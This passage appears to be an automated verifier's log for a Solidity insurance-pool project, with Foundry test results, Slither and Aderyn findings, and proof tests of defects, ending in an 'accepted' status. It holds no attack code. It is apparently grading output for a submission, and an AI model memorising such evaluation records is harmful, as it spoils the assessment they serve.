test_earlySettlementPaysOnlyWhenCertifiedZeroRoundsAlreadyMeetTheThreshold() (gas: 1237337)\n[PASS] test_expiredDeadlineAndBoundary() (gas: 752303)\n[PASS] test_frontRunPriceIncreaseRespectsMaxPremium() (gas: 897860)\n[PASS] test_noCoverCanDependOnItsOwnIncomingPremium() (gas: 829901)\n[PASS] test_nonTriggerRetainsPremiumAndReleasesReserve() (gas: 1318971)\n[PASS] test_openCollectsPremiumAndReservesEntireCover() (gas: 889400)\n[PASS] test_overlappingPoliciesSettleIndependentlyInReverseOrder() (gas: 1745173)\n[PASS] test_pauseBlocksOpenButAllowsCertifiedSettlement() (gas: 1080575)\n[PASS] test_rateUpdatesDoNotChangePurchasedPolicy() (gas: 947550)\n[PASS] test_rejectsInvalidTermsAndOverflow() (gas: 99249)\n[PASS] test_settlementCannotReplayOrSettleMissingId() (gas: 982008)\n[PASS] test_settlesAtFrontierEqualEnd() (gas: 888828)\n[PASS] test_startMustExceedClockEvenWhenCoreIsBehind() (gas: 264011)\n[PASS] test_unknownRoundsNeverSettleEvenYearsLater() (gas: 1453390)\n[PASS] test_unpaidPremiumRollsBackPolicyAndReservation() (gas: 570868)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 289.09ms (298.94ms CPU time)\n\nRan 12 tests for test/CoverPool.t.sol:CoverPoolTest\n[PASS] testFuzz_roundTripCannotCreateAssets(uint96,uint96) (runs: 512, μ: 350718, ~: 349489)\nLogs:\n  Bound result 16050922539961441\n  Bound result 1869319773429\n\n[PASS] test_bookBindingIsOneTimeAndRequiredBeforeDeposit() (gas: 152216)\n[PASS] test_cannotReuseReservationOrResolveTwiceEvenAsBook() (gas: 993477)\n[PASS] test_custodyShortfallBlocksRatherThanCreatesUnbackedShares() (gas: 189341)\n[PASS] test_depositAndRedeemSlippageAndZeroAmounts() (gas: 257731)\n[PASS] test_directDonationsCannotInflateSharePrice() (gas: 366063)\n[PASS] test_equalDepositsReceiveEqualSharesAndRedeemCapital() (gas: 321113)\n[PASS] test_lockedCapitalCannotBeWithdrawnButFreeCapitalCan() (gas: 974234)\n[PASS] test_onlyBookCanLockOrReleaseCover() (gas: 800125)\n[PASS] test_onlyCallerSharesCanBeRedeemed() (gas: 41829)\n[PASS] test_premiumsAccrueToLPAndLossReducesShareValue() (gas: 1106707)\n[PASS] test_recapitalizationAfterTotalLossDoesNotDivideByZero() (gas: 1343090)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 353.73ms (133.30ms CPU time)\n\nRan 8 tests for test/PremiumAndOwnership.t.sol:PremiumAndOwnershipTest\n[PASS] testFuzz_premiumsBoundedAndMonotonic(uint96,uint96,uint16,uint16) (runs: 512, μ: 77516, ~: 77587)\nLogs:\n  Bound result 5576813114\n  Bound result 4487157654\n  Bound result 49\n  Bound result 1\n\n[PASS] test_allAdminFunctionsRejectStrangersIncludingFactory() (gas: 168960)\n[PASS] test_configuredTableHasIndependentTwelveEntries() (gas: 593016)\n[PASS] test_fullUtilizationAndAtomRounding() (gas: 26665)\n[PASS] test_invalidRatesTermsAndLiquidity() (gas: 154575)\n[PASS] test_pricesMustBeExplicitlyConfigured() (gas: 83279)\n[PASS] test_tokenMetadataInitialSupplyAndOwnerMint() (gas: 156741)\n[PASS] test_twoStepOwnerHandoverAndNoRenunciation() (gas: 223470)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 351.39ms (351.08ms CPU time)\n\nRan 2 tests for test/SettlementGate.t.sol:OpenEndRoundsTest\n[PASS] testFuzz_earliestMatchesNaiveMinimum(uint64[8],uint8) (runs: 512, μ: 876097, ~: 865820)\nLogs:\n  Bound result 51432\n  Bound result 147501\n  Bound result 169451\n  Bound result 127341\n  Bound result 66861\n  Bound result 196843\n  Bound result 152013\n  Bound result 72157\n\n[PASS] test_spansWordsAndSummaryWordsAndEmptiesCleanly() (gas: 1019544)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 603.82ms (603.84ms CPU time)\n\nRan 9 tests for test/SettlementGate.t.sol:SettlementGateTest\n[PASS] test_certifiedLossIsSharedByEveryLpPresentAtTheSale() (gas: 1586078)\n[PASS] test_earliestOpenEndTracksSettlementInAnyOrder() (gas: 3172244)\n[PASS] test_gateClosesAsSoonAsCertifiedHistoryFixesThePayout() (gas: 1465770)\n[PASS] test_gateFailsOpenWhenOnlyHistoryCannotBeRead() (gas: 1608562)\n[PASS] test_gateFailsOpenWhenTheCoreCannotBeRead() (gas: 1154119)\n[PASS] test_gateHoldsWhileAnyDecidedPolicyIsOpen() (gas: 3231633)\n[PASS] test_reviewReopensTheGateForAnUndecidedPolicy() (gas: 2048111)\n[PASS] test_settlementSurvivesRaisedOrLoweredCoreBatchLimit() (gas: 4880462)\n[PASS] test_startRoundLeadIsCapped() (gas: 305381)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 607.15ms (39.21ms CPU time)\n\nRan 6 tests for test/ShareSupply.t.sol:ShareSupplyTest\n[PASS] testFuzz_retirementNeverTakesMoreThanDust(uint96) (runs: 512, μ: 8823002, ~: 8802798)\nLogs:\n  Bound result 10000000\n\n[PASS] testFuzz_totalSharesNeverExceedCapAndPreviewsNeverPanic(uint96,uint8) (runs: 512, μ: 3699496, ~: 2265415)\nLogs:\n  Bound result 3\n  Bound result 2\n\n[PASS] test_recapitalizationSucceedsAfterThreeCompleteLossesByRetiringWorthlessShares() (gas: 8942567)\n[PASS] test_residualDustBehindExhaustedSupplyIsCarriedIntoTheNewEpoch() (gas: 9056964)\n[PASS] test_sharesWorthMoreThanDustAreNeverRetiredAndOverflowingDepositsRevertCleanly() (gas: 9046641)\n[PASS] test_supplyCapRejectsTheDepositThatWouldBreakPreviewsAndVictimStaysLiquid() (gas: 9150351)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 605.19ms (1.03s CPU time)\n\nRan 2 tests for test/SolvencyInvariant.t.sol:SolvencyInvariantTest\n[PASS]\nSolvencyInvariantTest invariants:\n[PASS] invariant_allObligationsRemainFullyBacked\n[PASS] invariant_assetsAreConservedAndSharesReconcile\n SolvencyInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| CoverHandler | advance  | 981   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | deposit  | 964   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | donate   | 1038  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | elapse   | 1014  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | open     | 1092  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | pause    | 1037  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | redeem   | 1012  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | settle   | 1054  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 10000000000000000000000\n  Bound result 4195\n  Bound result 8524373659279509695847\n  Bound result 10000000000000000000000\n  Bound result 234\n  Bound result 1015\n  Bound result 1\n  Bound result 26441138205160868906003\n  Bound result 97\n  Bound result 1889567280\n  Bound result 3468\n  Bound result 1\n  Bound result 10029\n  Bound result 431812692411897626848\n  Bound result 5197\n  Bound result 10000000000000000000000000\n  Bound result 6\n  Bound result 1207233506\n  Bound result 13203\n  Bound result 1\n  Bound result 1390\n  Bound result 295\n  Bound result 1\n  Bound result 31238880306\n  Bound result 86\n  Bound result 1\n  Bound result 41934465228713149896\n  Bound result 1\n  Bound result 1\n  Bound result 2652434065314230\n  Bound result 6349\n  Bound result 125\n  Bound result 3776\n  Bound result 24\n  Bound result 107\n  Bound result 1\n  Bound result 104\n  Bound result 1325906736\n  Bound result 1\n  Bound result 100\n  Bound result 1101\n  Bound result 5206\n  Bound result 1\n  Bound result 10000000000000000000000000\n  Bound result 46\n  Bound result 2688\n  Bound result 3660\n\n[PASS] test_handlerExercisesSuccessfulPayoutAndRedemption() (gas: 1471094)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 100000000000000000000\n  Bound result 7\n  Bound result 1\n  Bound result 10000000000000000000000000\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.29s (2.28s CPU time)\n\nRan 11 test suites in 2.30s (5.51s CPU time): 83 tests passed, 0 failed, 0 skipped (83 total tests)\n","passed":true},{"durationMs":87,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CoverPool.acceptOwnership()\",\"CoverPool.deposit(uint256,uint256)\",\"CoverPool.lockCover(uint256,address,uint256,uint256)\",\"CoverPool.redeem(uint256,uint256)\",\"CoverPool.resolveCover(uint256,bool)\",\"CoverPool.setPolicyBook(address)\",\"CoverPool.transferOwnership(address)\",\"MockSQK.acceptOwnership()\",\"MockSQK.approve(address,uint256)\",\"MockSQK.mint(address,uint256)\",\"MockSQK.transfer(address,uint256)\",\"MockSQK.transferFrom(address,address,uint256)\",\"MockSQK.transferOwnership(address)\",\"PolicyBook.acceptOwnership()\",\"PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256)\",\"PolicyBook.review(uint256)\",\"PolicyBook.setPaused(bool)\",\"PolicyBook.settle(uint256)\",\"PolicyBook.transferOwnership(address)\",\"PremiumModel.acceptOwnership()\",\"PremiumModel.setRate(uint16,uint16,uint16,uint16)\",\"PremiumModel.transferOwnership(address)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":12,\"LAUNCH.md\":72,\"README.md\":105,\"THREATS.md\":77,\"dependency-checksums.json\":60,\"docs/abi/README.md\":9,\"docs/abi/SqueekCore.readonly.json\":252,\"docs/evidence/sepolia-core-snapshot.json\":36,\"foundry.toml\":21,\"manifest.json\":32,\"remappings.txt\":2,\"src/CoreReader.sol\":170,\"src/CoverPool.sol\":250,\"src/CoverTerms.sol\":63,\"src/Managed.sol\":17,\"src/MockSQK.sol\":20,\"src/OpenEndRounds.sol\":68,\"src/PolicyBook.sol\":311,\"src/PremiumModel.sol\":51,\"src/interfaces/ISqueekCore.sol\":59,\"test/AdversarialTransfers.t.sol\":165,\"test/CoreReader.t.sol\":180,\"test/CoverPool.t.sol\":186,\"test/Deployment.t.sol\":112,\"test/PolicyBook.t.sol\":285,\"test/PremiumAndOwnership.t.sol\":146,\"test/RecordedCore.t.sol\":48,\"test/SettlementGate.t.sol\":348,\"test/ShareSupply.t.sol\":243,\"test/SolvencyInvariant.t.sol\":208,\"test/helpers/AdversarialToken.sol\":64,\"test/helpers/CoverFixture.sol\":81,\"test/helpers/MockCore.sol\":134,\"test/helpers/OpenEndRoundsHarness.sol\":31},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":2400,"exitCode":0,"name":"slither","output":"[high/medium] reentrancy-balance at src/PolicyBook.sol:202: Reentrancy in PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256) (src/PolicyBook.sol#202-242):\n[medium/high] incorrect-equality at src/CoreReader.sol:126: CoreReader._validatePage(ISqueekCore.RoundPage,uint64) (src/CoreReader.sol#126-143) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CoreReader.sol:126: CoreReader._validatePage(ISqueekCore.RoundPage,uint64) (src/CoreReader.sol#126-143) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CoreReader.sol:95: CoreReader._snapshot() (src/CoreReader.sol#95-124) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CoreReader.sol:145: CoreReader._samePosition(ISqueekCore.LedgerPosition,ISqueekCore.LedgerPosition) (src/CoreReader.sol#145-152) uses a dangerous strict equality:\n[medium/medium] uninitialized-local at src/CoreReader.sol:101: CoreReader._snapshot().config (src/CoreReader.sol#101) is a local variable never initialized\n[medium/medium] uninitialized-local at src/CoreReader.sol:70: CoreReader._countZeroRounds(uint64,uint64,uint256).page (src/CoreReader.sol#70) is a local variable never initialized\n[medium/medium] unused-return at src/PolicyBook.sol:162: PolicyBook.settlementPending() (src/PolicyBook.sol#162-178) ignores return value by (frontier) = reader.snapshot() (src/PolicyBook.sol#165-169)\n[medium/medium] unused-return at src/PolicyBook.sol:162: PolicyBook.settlementPending() (src/PolicyBook.sol#162-178) ignores return value by () = reader.certifiedZeroRounds(policy.startRound,policy.rounds) (src/PolicyBook.sol#173-177)\n[medium/medium] unused-return at src/PolicyBook.sol:180: PolicyBook.quote(uint64,uint16,uint16,uint256) (src/PolicyBook.sol#180-199) ignores return value by (premium,None) = premiumModel.quote(rounds,thresholdBps,cover,pool.totalAssets(),pool.reserved()) (src/PolicyBook.sol#198)\n[low/medium] calls-loop at src/CoreReader.sol:60: CoreReader._countZeroRounds(uint64,uint64,uint256) (src/CoreReader.sol#60-91) has external calls inside a loop: result = core.roundPage(cursor,end,pageSize) (src/CoreReader.sol#71-75)\n[low/medium] calls-loop at src/CoreReader.sol:60: CoreReader._countZeroRounds(uint64,uint64,uint256) (src/CoreReader.sol#60-91) has external calls inside a loop: result = core.roundPage(cursor,end,pageSize) (src/CoreReader.sol#71-75)\n[low/medium] timestamp at src/CoreReader.sol:36: CoreReader.countZeroRounds(uint64,uint16) (src/CoreReader.sol#36-41) uses timestamp for comparisons\n[low/medium] timestamp at src/CoreReader.sol:46: CoreReader.certifiedZeroRounds(uint64,uint16) (src/CoreReader.sol#46-57) uses timestamp for comparisons\n[low/medium] timestamp at src/CoreReader.sol:60: CoreReader._countZeroRounds(uint64,uint64,uint256) (src/CoreReader.sol#60-91) uses timestamp for comparisons\n[low/medium] timestamp at src/CoreReader.sol:145: CoreReader._samePosition(ISqueekCore.LedgerPosition,ISqueekCore.LedgerPosition) (src/CoreReader.sol#145-152) uses timestamp for comparisons\n[low/medium] timestamp at src/PolicyBook.sol:202: PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256) (src/PolicyBook.sol#202-242) uses timestamp for comparisons\n[low/medium] timestamp at src/CoreReader.sol:95: CoreReader._snapshot() (src/CoreReader.sol#95-124) uses timestamp for comparisons\n[low/medium] timestamp at src/CoreReader.sol:126: CoreReader._validatePage(ISqueekCore.RoundPage,uint64) (src/CoreReader.sol#126-143) uses timestamp for comparisons","passed":true},{"durationMs":565,"exitCode":0,"name":"aderyn","output":"[high] reentrancy-state-change at src/CoverPool.sol:89: Reentrancy: State change after external call (2 places)\n[low] centralization-risk at src/CoverPool.sol:85: Centralization Risk (5 places)\n[low] internal-function-used-once at src/CoverTerms.sol:36: Internal Function Used Only Once\n[low] large-numeric-literal at src/CoverPool.sol:23: Large Numeric Literal (3 places)\n[low] literal-instead-of-constant at src/OpenEndRounds.sol:22: Literal Instead of Constant (15 places)\n[low] require-revert-in-loop at src/CoreReader.sol:69: Loop Contains `require`/`revert` (2 places)\n[low] unchecked-return at src/PolicyBook.sol:270: Unchecked Return\n[low] uninitialized-local-variable at src/CoreReader.sol:129: Uninitialized Local Variable (4 places)\n[low] unused-public-function at src/CoreReader.sol:28: Public Function Not Used Internally (3 places)","passed":true},{"durationMs":2340,"exitCode":0,"name":"proof 8a1c79155644","output":"Compiling 51 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.65s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-a5244ce2/Proof_8a1c79155644.t.sol:ResidualAtomBlocksRecapitalizationTest\n[PASS] test_oneAtomAfterThreeCompleteLossesLeavesPoolUnableToAcceptCapital() (gas: 8519432)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.04ms (2.87ms CPU time)\n\nRan 1 test suite in 5.74ms (4.04ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":2028,"exitCode":0,"name":"proof e5c6f228c68c","output":"2026-11-01T09:31:49.274929Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-7bs4Ek/repo/test/imd-proof-a5244ce2/Proof_8a1c79155644.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.30s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-fbc1fc7b/Proof_e5c6f228c68c.t.sol:GateFreezesOnHistoryOutageTest\n[PASS] test_freeLiquidityStaysRedeemableWhenHistoryCannotBeReadAndNothingCanSettle() (gas: 310790)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.82ms (385.19µs CPU time)\n\nRan 1 test suite in 4.79ms (1.82ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":1931,"exitCode":0,"name":"proof 6a9ff5e40652","output":"2026-11-01T09:31:51.326541Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-7bs4Ek/repo/test/imd-proof-fbc1fc7b/Proof_e5c6f228c68c.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.23s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-7bba6801/Proof_6a9ff5e40652.t.sol:JudgeEarlyCertaintyExit\n[PASS] test_lossIsSharedOnceTheOutcomeIsFixedByCertifiedHistory() (gas: 1177557)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.31ms (579.60µs CPU time)\n\nRan 1 test suite in 4.14ms (2.31ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"1cf07eaf4d57ad5d11243a36ae561cd6357cb83d25d331b63374b21841f7fa84","verifiedTreeHash":"20e7b2c2194f0714d43a9c579c1a44571ff9e7bf","verifierVersion":"0.1.0+a6eb4461"},{"checks":[{"durationMs":8546,"exitCode":0,"name":"build","output":"Compiling 66 files with Solc 0.8.26\nSolc 0.8.26 finished in 8.41s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> test/SolvencyInvariant.t.sol:320:9:\n    |\n320 |         PremiumModel model = book.premiumModel();\n    |         ^^^^^^^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n   --> test/SolvencyInvariant.t.sol:121:5:\n    |\n121 |     function model(uint256 id)\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":10445,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RecordedCore.t.sol:RecordedCoreTest\n[PASS] test_readPublishedV3AbiFromRecordedSepoliaResponses() (gas: 69551)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 781.82µs (621.19µs CPU time)\n\nRan 7 tests for test/AdversarialTransfers.t.sol:AdversarialTransfersTest\n[PASS] test_depositAndRedeemReentrancyBlocked() (gas: 606591)\n[PASS] test_failedPayoutRollsBackAndCanBeRetried() (gas: 1389490)\n[PASS] test_falseReturnAndFeeDepositsRollBack() (gas: 449643)\n[PASS] test_feeOnEitherPremiumLegRollsBackWholePurchase() (gas: 1570024)\n[PASS] test_noReturnTokenSupportedBySafeERC20() (gas: 1158564)\n[PASS] test_openReentrancyBlockedDuringPremiumReceipt() (gas: 1255271)\n[PASS] test_settlementReentrancyBlockedDuringPayout() (gas: 1298528)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 8.48ms (6.10ms CPU time)\n\nRan 9 tests for test/SettlementGate.t.sol:SettlementGateTest\n[PASS] test_certifiedLossIsSharedByEveryLpPresentAtTheSale() (gas: 1586078)\n[PASS] test_earliestOpenEndTracksSettlementInAnyOrder() (gas: 3172244)\n[PASS] test_gateClosesAsSoonAsCertifiedHistoryFixesThePayout() (gas: 1465770)\n[PASS] test_gateFailsOpenWhenOnlyHistoryCannotBeRead() (gas: 1608562)\n[PASS] test_gateFailsOpenWhenTheCoreCannotBeRead() (gas: 1154119)\n[PASS] test_gateHoldsWhileAnyDecidedPolicyIsOpen() (gas: 3231633)\n[PASS] test_reviewReopensTheGateForAnUndecidedPolicy() (gas: 2048111)\n[PASS] test_settlementSurvivesRaisedOrLoweredCoreBatchLimit() (gas: 4880462)\n[PASS] test_startRoundLeadIsCapped() (gas: 305381)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 20.63ms (18.16ms CPU time)\n\nRan 4 tests for test/Deployment.t.sol:DeploymentTest\n[PASS] test_constructorsDoNotDependOnChainIdOrCaller() (gas: 1747777)\n[PASS] test_constructorsSucceedWhenAllExternalDependenciesHaveNoCode() (gas: 10504)\n[PASS] test_factoryDeploymentWiresBackwardReferencesAndExplicitOwners() (gas: 14929935)\n[PASS] test_zeroOwnersAndDependencyAddressesRevert() (gas: 4102)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 53.46ms (47.67ms CPU time)\n\nRan 2 tests for test/SettlementGate.t.sol:OpenEndRoundsTest\n[PASS] testFuzz_earliestMatchesNaiveMinimum(uint64[8],uint8) (runs: 512, μ: 874298, ~: 865543)\nLogs:\n  Bound result 68\n  Bound result 71\n  Bound result 10\n  Bound result 32\n  Bound result 3573\n  Bound result 243\n  Bound result 299\n  Bound result 110\n\n[PASS] test_spansWordsAndSummaryWordsAndEmptiesCleanly() (gas: 1019544)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 70.62ms (70.80ms CPU time)\n\nRan 8 tests for test/PremiumAndOwnership.t.sol:PremiumAndOwnershipTest\n[PASS] testFuzz_premiumsBoundedAndMonotonic(uint96,uint96,uint16,uint16) (runs: 512, μ: 77516, ~: 77587)\nLogs:\n  Bound result 5576813114\n  Bound result 4487157654\n  Bound result 49\n  Bound result 1\n\n[PASS] test_allAdminFunctionsRejectStrangersIncludingFactory() (gas: 168960)\n[PASS] test_configuredTableHasIndependentTwelveEntries() (gas: 593016)\n[PASS] test_fullUtilizationAndAtomRounding() (gas: 26665)\n[PASS] test_invalidRatesTermsAndLiquidity() (gas: 154575)\n[PASS] test_pricesMustBeExplicitlyConfigured() (gas: 83279)\n[PASS] test_tokenMetadataInitialSupplyAndOwnerMint() (gas: 156741)\n[PASS] test_twoStepOwnerHandoverAndNoRenunciation() (gas: 223470)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 73.90ms (72.52ms CPU time)\n\nRan 12 tests for test/CoverPool.t.sol:CoverPoolTest\n[PASS] testFuzz_roundTripCannotCreateAssets(uint96,uint96) (runs: 512, μ: 350718, ~: 349489)\nLogs:\n  Bound result 9964\n  Bound result 21960\n\n[PASS] test_bookBindingIsOneTimeAndRequiredBeforeDeposit() (gas: 152216)\n[PASS] test_cannotReuseReservationOrResolveTwiceEvenAsBook() (gas: 993477)\n[PASS] test_custodyShortfallBlocksRatherThanCreatesUnbackedShares() (gas: 189341)\n[PASS] test_depositAndRedeemSlippageAndZeroAmounts() (gas: 257731)\n[PASS] test_directDonationsCannotInflateSharePrice() (gas: 366063)\n[PASS] test_equalDepositsReceiveEqualSharesAndRedeemCapital() (gas: 321113)\n[PASS] test_lockedCapitalCannotBeWithdrawnButFreeCapitalCan() (gas: 974234)\n[PASS] test_onlyBookCanLockOrReleaseCover() (gas: 800125)\n[PASS] test_onlyCallerSharesCanBeRedeemed() (gas: 41829)\n[PASS] test_premiumsAccrueToLPAndLossReducesShareValue() (gas: 1106707)\n[PASS] test_recapitalizationAfterTotalLossDoesNotDivideByZero() (gas: 1343090)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 196.43ms (194.11ms CPU time)\n\nRan 10 tests for test/PolicyFailureMatrix.t.sol:PolicyFailureMatrixTest\n[PASS] test_bothPausesStillAllowFreeLiquidityWithdrawal() (gas: 1191521)\n[PASS] test_everyProductImmediatelyBelowAtAndAboveItsThreshold() (gas: 365154698)\n[PASS] test_expiredPolicyCannotBeReplayedAfterFurtherCertification() (gas: 1320745)\n[PASS] test_frontierOneShortExpiresWhenThePrefixMakesTheThresholdUnreachable() (gas: 1413943)\n[PASS] test_frontierOneShortStaysUndecidedWhileTheLastRoundCanStillTrigger() (gas: 1702447)\n[PASS] test_holderBalanceFailureAfterApprovalDoesNotConsumeAnIdOrAllowance() (gas: 1452527)\n[PASS] test_oldQuoteCannotOpenAfterStartRoundBecomesCurrent() (gas: 302239)\n[PASS] test_secondPageFailureCannotPartiallySettleOrReleaseCover() (gas: 3207632)\n[PASS] test_snapshotReadFailuresPreserveOpenPolicyAndPermitRetry() (gas: 1439314)\n[PASS] test_unsolicitedBookBalanceCannotSubsidizeOrDivertPremiums() (gas: 1033709)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 711.54ms (719.15ms CPU time)\n\nRan 3 tests for test/MockSQKStateMachine.t.sol:MockSQKEdgesTest\n[PASS] test_fullInitialSupplyTransferAndZeroSelfTransferPreserveSupply() (gas: 205910)\n[PASS] test_supplyAtUint256LimitRejectsOverflowAtomically() (gas: 133031)\n[PASS] test_zeroRecipientFailuresLeaveBalancesAndAllowanceUntouched() (gas: 200788)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 754.31ms (684.39µs CPU time)\n\nRan 7 tests for test/EarlyDecisionProperties.t.sol:EarlyDecisionPropertiesTest\n[PASS] testFuzz_openingDecideRoundIsTheFirstRoundThatCouldPay(uint8,uint8) (runs: 1000, μ: 1052901, ~: 1048284)\n[PASS] testFuzz_prefixDecisionAgreesWithEveryCompletion(uint8,uint8,uint256,uint16,bool) (runs: 1000, μ: 2054583, ~: 1443647)\nLogs:\n  Bound result 1\n\n[PASS] test_earlyFixedExpiryLeavesGateOpenAndSharePriceUnchanged() (gas: 1170614)\n[PASS] test_requiredZeroRoundsTable() (gas: 6686549)\n[PASS] test_reviewBeforeAnyCertificationKeepsTheDecideRound() (gas: 880842)\n[PASS] test_reviewChainOnActiveHistoryEndsInEarlyExpiry() (gas: 19451841)\n[PASS] test_reviewFailsClosedOnUnreadableHistory() (gas: 1093086)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 754.36ms (1.12s CPU time)\n\nRan 5 tests for test/SettlementGateAdversarial.t.sol:SettlementGateAdversarialTest\n[PASS] testFuzz_settlementOrderNeverLeavesTheGateWrong(uint8) (runs: 512, μ: 7403804, ~: 7431995)\n[PASS] test_dustPoliciesMustEachBeSettledBeforeLpsCanMove() (gas: 14901479)\n[PASS] test_gateIgnoresUndecidableLaterWindowsAndReopensAfterReview() (gas: 2575664)\n[PASS] test_pausesDoNotHideAPendingSettlement() (gas: 1411214)\n[PASS] test_strangerRedeemFailsOnSharesBeforeTheGate() (gas: 819359)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 771.54ms (790.76ms CPU time)\n\nRan 8 tests for test/PremiumArithmeticProperties.t.sol:PremiumArithmeticPropertiesTest\n[PASS] testFuzz_bothRoundingStepsChooseTheLeastSufficientInteger(uint128,uint128,uint128,uint16,uint16) (runs: 1000, μ: 84662, ~: 84454)\nLogs:\n  Bound result 3678\n  Bound result 2000\n  Bound result 831\n  Bound result 9999\n  Bound result 0\n\n[PASS] testFuzz_fullUtilizationSupportsUint256Amounts(uint256,uint16,uint16) (runs: 1000, μ: 76094, ~: 75882)\nLogs:\n  Bound result 293\n  Bound result 1\n  Bound result 1152\n\n[PASS] testFuzz_moreLiquidityNeverRaisesTheSameCoverPremium(uint128,uint128,uint128,uint128) (runs: 1000, μ: 84988, ~: 84943)\nLogs:\n  Bound result 8798\n  Bound result 277\n  Bound result 2693\n\n[PASS] testFuzz_unsupportedDurationCannotBeConfiguredOrQuoted(uint16) (runs: 1000, μ: 34917, ~: 34925)\n[PASS] testFuzz_unsupportedThresholdCannotBeConfiguredOrQuoted(uint16) (runs: 1000, μ: 34982, ~: 34978)\n[PASS] test_invalidRateCannotOverwriteConfiguredTerms() (gas: 116061)\n[PASS] test_maximumCoverAtMaximumRateIsExactAndDoesNotOverflow() (gas: 77236)\n[PASS] test_maximumReservedAndEmptyAssetsFailWithLiquidityError() (gas: 86334)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 968.31ms (1.77s CPU time)\n\nRan 19 tests for test/PolicyBook.t.sol:PolicyBookTest\n[PASS] testFuzz_allTermsExactThreshold(uint8,uint8,uint8,uint96) (runs: 512, μ: 3585796, ~: 1634045)\nLogs:\n  Bound result 0\n  Bound result 514264337593543950334\n\n[PASS] test_anyoneSettlesAndOnlyHolderReceivesPayout() (gas: 1316718)\n[PASS] test_corePauseBlocksOpenWithoutAppPause() (gas: 68647)\n[PASS] test_earlyExpiryReleasesReserveOnceTheThresholdIsUnreachable() (gas: 1131132)\n[PASS] test_earlySettlementPaysOnlyWhenCertifiedZeroRoundsAlreadyMeetTheThreshold() (gas: 1237337)\n[PASS] test_expiredDeadlineAndBoundary() (gas: 752303)\n[PASS] test_frontRunPriceIncreaseRespectsMaxPremium() (gas: 897860)\n[PASS] test_noCoverCanDependOnItsOwnIncomingPremium() (gas: 829901)\n[PASS] test_nonTriggerRetainsPremiumAndReleasesReserve() (gas: 1318971)\n[PASS] test_openCollectsPremiumAndReservesEntireCover() (gas: 889400)\n[PASS] test_overlappingPoliciesSettleIndependentlyInReverseOrder() (gas: 1745173)\n[PASS] test_pauseBlocksOpenButAllowsCertifiedSettlement() (gas: 1080575)\n[PASS] test_rateUpdatesDoNotChangePurchasedPolicy() (gas: 947550)\n[PASS] test_rejectsInvalidTermsAndOverflow() (gas: 99249)\n[PASS] test_settlementCannotReplayOrSettleMissingId() (gas: 982008)\n[PASS] test_settlesAtFrontierEqualEnd() (gas: 888828)\n[PASS] test_startMustExceedClockEvenWhenCoreIsBehind() (gas: 264011)\n[PASS] test_unknownRoundsNeverSettleEvenYearsLater() (gas: 1453390)\n[PASS] test_unpaidPremiumRollsBackPolicyAndReservation() (gas: 570868)\nSuite result: ok. 19 passed; 0 failed; 